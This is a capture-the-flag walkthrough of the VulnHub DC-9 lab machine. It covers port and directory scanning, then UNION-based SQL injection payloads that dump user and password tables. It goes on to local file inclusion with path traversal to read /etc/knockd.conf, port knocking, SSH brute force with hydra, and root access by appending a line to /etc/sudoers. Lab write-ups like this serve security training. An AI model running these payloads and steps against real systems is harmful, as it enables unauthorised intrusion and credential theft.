[VulnHub] DC-9
Recon
Port Scan
nmap -T 4 -p- -sV --script vuln -vv 192.168.2.125
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.38 ((Debian))
Directory Scan
ffuf -u http://192.168.2.125/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.txt,.html
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
css [Status: 301, Size: 312, Words: 20, Lines: 10]
display.php [Status: 200, Size: 2961, Words: 199, Lines: 42]
includes [Status: 301, Size: 317, Words: 20, Lines: 10]
index.php [Status: 200, Size: 917, Words: 43, Lines: 43]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1]
manage.php [Status: 200, Size: 1210, Words: 43, Lines: 51]
results.php [Status: 200, Size: 1056, Words: 43, Lines: 55]
search.php [Status: 200, Size: 1091, Words: 47, Lines: 50]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
session.php [Status: 302, Size: 0, Words: 1, Lines: 1]
welcome.php [Status: 302, Size: 0, Words: 1, Lines: 1]
Exploitation
SQL Injection
There is a search box on /search.php that is vulnerable to SQL Injection.
For payload ' or 1=1--+:
There are 6 values that are printed.
1' UNION SELECT 1,2,3,4,5,6--+
It is possible to enumerate evetrything manually.
' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata--+
ID: 1<br/>
Name: 2 3<br/>
Position: 4<br />
Phone No: 5<br />
Email: |information_schema|,|Staff|,|users|<br/>
' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,TABLE_NAME,0x7c) FROM information_schema.tables WHERE table_schema = 'Staff'--+
ID: 1<br/>
Name: 2 3<br/>
Position: 4<br />
Phone No: 5<br />
Email: |StaffDetails|,|Users|<br/>
' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,COLUMN_NAME,0x7c) FROM information_schema.columns WHERE table_name = 'Users'--+
ID: 1<br/>
Name: 2 3<br/>
Position: 4<br />
Phone No: 5<br />
Email: |UserID|,|Username|,|Password|<br/>
' UNION SELECT UserID,Username,Password,4,5,6 FROM Staff.Users--+
ID: 1<br/>
Name: admin 856f5de590ef37314e7c3bdf6f8a66dc<br/>
Position: 4<br/>
Phone No: 5<br/>
Email: 6<br/>
' UNION SELECT 1,username,password,4,5,6 FROM users.UserDetails--+
ID: 1<br/>
Name: marym 3kfs86sfd<br/>
Position: 4<br />
Phone No: 5<br />
Email: 6<br/>
<br/>
ID: 1<br/>
Name: julied 468sfdfsd2<br/>
Position: 4<br />
Phone No: 5<br />
Email: 6<br/>
<br/>
...
The hash is on crackstation and admin credentials are admin:transorbital1.
After logging in an error appears at the bottom of the page.
LFI
After messing with URL a bit, I’ve discovered LFI.
After A LOT of poking around I’ve found knockd.conf file at /welcome.php?file=../../../../../../etc/knockd.conf.
According to this file, SSH is enabled. I just need to knock on 7469,8475,9842 porst in that order.
for x in 7469 8475 9842l do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 192.168.2.125; done
After knocking on those port 22 becomes open.
nmap -p 22 192.168.2.125
PORT STATE SERVICE
22/tcp open ssh
I’ve compiled all creds from the database, generated wordlists from them and used them to bruteforce SSH.
hydra -L users.txt -P passwds.txt 192.168.2.125 ssh
[22][ssh] host: 192.168.2.125 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.2.125 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.2.125 login: janitor password: Ilovepeepee
PrivEsc
In janitor’s home folder there is a hidden folder called .secrets-for-putin in which there is a password list.
Testing those password with user from the database we get new valid credentials for SSH fredf:B4-Tru3-001.
fredf user can execute /opt/devstuff/dist/test/test as root.
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
While executing this file asks for a file and a append. This binary takes a file and appends it to the other. I just created a file with fredf ALL=(ALL) ALL and appended it to /etc/sudoers to give fredf user ALL sudo privileges.
fredf@dc-9:~$ echo 'fredf ALL=(ALL) ALL' > test
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test /home/fredf/test /etc/sudoers
fredf@dc-9:~$ sudo su
root@dc-9:~#
root@dc-9:~# id
uid=0(root) gid=0(root) groups=0(root)
Got root!